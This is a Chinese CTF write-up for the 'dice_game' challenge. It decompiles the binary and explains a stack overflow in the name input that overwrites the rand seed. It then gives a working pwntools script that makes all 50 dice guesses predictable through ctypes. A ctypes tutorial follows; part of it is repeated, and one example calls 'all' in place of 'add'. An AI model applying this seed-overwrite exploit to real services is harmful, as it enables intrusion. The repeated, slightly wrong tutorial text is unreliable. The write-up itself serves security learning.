攻防世界高手进阶区——dice_game
题目里面啥都没有。
一.分析文件
checksec
只有栈溢出保护关闭了,其他都是开着的。
运行
可以看出是要猜数字,猜对50次。
ida逆向
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 __int64 __fastcall main (int a1, char **a2, char **a3) { char buf[55 ]; char v5; ssize_t v6; unsigned int seed[2 ]; unsigned int v8; memset (buf, 0 , 0x30u LL); *(_QWORD *)seed = time(0LL ); printf ("Welcome, let me know your name: " ); fflush(stdout ); v6 = read(0 , buf, 80uLL ); if ( v6 <= 49 ) buf[v6 - 1 ] = 0 ; printf ("Hi, %s. Let's play a game.\n" , buf); fflush(stdout ); srand(seed[0 ]); v8 = 1 ; v5 = 0 ; while ( 1 ) { printf ("Game %d/50\n" , v8); v5 = sub_A20(); fflush(stdout ); if ( v5 != 1 ) break ; if ( v5 ) { if ( v8 == 50 ) { sub_B28(buf); break ; } ++v8; } } puts ("Bye bye!" ); return 0LL ; }
跟进一下sub_A20()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 __int64 sub_A20 () { __int16 v1; __int16 v2; printf ("Give me the point(1~6): " ); fflush(stdout ); scanf ("%hd" , &v1); if ( v1 > 0 && v1 <= 6 ) { v2 = rand() % 6 + 1 ; if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 ) _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)" , "dice_game.c" , 0x18u , "dice_game" ); if ( v1 == v2 ) { puts ("You win." ); return 1LL ; } else { puts ("You lost." ); return 0LL ; } } else { puts ("Invalid value!" ); return 0LL ; } }
可以看出是要答对50次数字。
1 2 3 4 5 6 7 8 9 10 11 int __fastcall sub_B28 (const char *a1) { char s[104 ]; FILE *stream; printf ("Congrats %s\n" , a1); stream = fopen("flag" , "r" ); fgets(s, 100 , stream); puts (s); return fflush(stdout ); }
答对后就可以开启flag文件。
二,解题思路
文件输入名字处存在栈溢出漏洞。
只需要覆盖0x40个字节就可以将seed覆盖。
覆盖seed后就可以将伪随机数生成器的种子给替换,
伪随机数生成器的种子一样生成的随机数是相同的。
(不同的动态链接库的rand函数算法可能不同,需要将文件给的so文件给用上)
再用python的ctypes 模块实现即可。
三,exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from ctypes import * sh = remote('111.200.241.244' ,50045 ) libc = cdll.LoadLibrary("libc.so.6" ) payload = "a" * 0x40 + p64(0 ) sh.sendlineafter("name: " , payload) res = [] for i in range (50 ): res.append(libc.rand()%6 +1 ) print resfor point in res: sh.sendlineafter("point(1~6): " , str (point)) sh.interactive()
.dll,动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码数据的库
模块ctypes是Python内建的用于调用动态链接库函数的功能模块,一定程度上可以用于Python与其他语言的混合编程。由于编写动态链接库,使用C/C++是最常见的方式,故ctypes最常用于Python与C/C++混合编程之中。
ctypes 是 Python 的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。可使用该模块以纯 Python 形式对这些库进行封装。
ctypes导出了cdll对象,在Windows系统中还导出了windll和oledll对象用于载入动态连接库。通过操作这些对象的属性,你可以载入外部的动态链接库。cdll载入按标准的 cdecl调用协议导出的函数,而windll导入的库按stdcall调用协议调用其中的函数。 oledll也按stdcall调用协议调用其中的函数,并假定该函数返回的是Windows HRESULT错误 代码,并当函数调用失败时,自动根据该代码甩出一个OSError异常。
PS:关于ctypes引用一下大佬的解释 1 C函数的调用规定 C函数在调用过程中关于参数传递和压栈由多种规定,作为dll提供给其他程序调用时,必须明确并统一为同一种调用规定,否则会导致栈破坏,编译器负责具体实现调用规定,主要有以下几种调用规定
调用规定
声明
编译符号修饰
调用规则
说明
_stdcall
__declspec(dllexport) int __stdcall fun(int a, int b)
_fun@number
参数从右向左入栈,调用者压栈,被调者负责弹栈
win32 API默认调用规则
_cdecl
__declspec(dllexport)int __cdecl fun(int a, int b)
_fun
参数从右向左入栈,调用者负责压栈和弹栈
C/C++默认调用规则
_fastcall
__declspec(dllexport)int __fastcall fun(int a, int b)
@fun@number
寄存器和栈共同参数与参数传递
寄存器传参提高性能,难以跨平台
2 ctypes加载dll库接口 python下调用C库有多种方式,ctypes是其中一种比较方便的,调用时首先需要加载dll文件,根据C dll的调用规定不同需要使用不同接口,使用ctypes需要import ctypes库
1 2 3 import ctypesObjdll = ctypes.windll.LoadLibrary("dllpath" ) Objdll = ctypes.WinDLL("dllpath" )
以上两种接口都是可用的
1 2 3 import ctypesObjdll = ctypes.cdll.LoadLibrary("dllpath" ) Objdll = ctypes.CDLL("dllpath" )
对于简单的C函数,例如int add(int a, int b), 此时就可以直接调用了,如
1 2 3 4 5 6 import ctypesObjdll = ctypes.cdll.LoadLibrary("dllpath" ) Objdll = ctypes.CDLL("dllpath" ) c = Objdll.all (1 ,3 ) print (c)
上两种接口都是可用的
1 2 3 import ctypesObjdll = ctypes.cdll.LoadLibrary("dllpath" ) Objdll = ctypes.CDLL("dllpath" )
对于简单的C函数,例如int add(int a, int b), 此时就可以直接调用了,如
1 2 3 4 5 6 import ctypesObjdll = ctypes.cdll.LoadLibrary("dllpath" ) Objdll = ctypes.CDLL("dllpath" ) c = Objdll.all (1 ,3 ) print (c)
作者:cheng3100 链接:https://www.jianshu.com/p/b338e55c3b71 来源:简书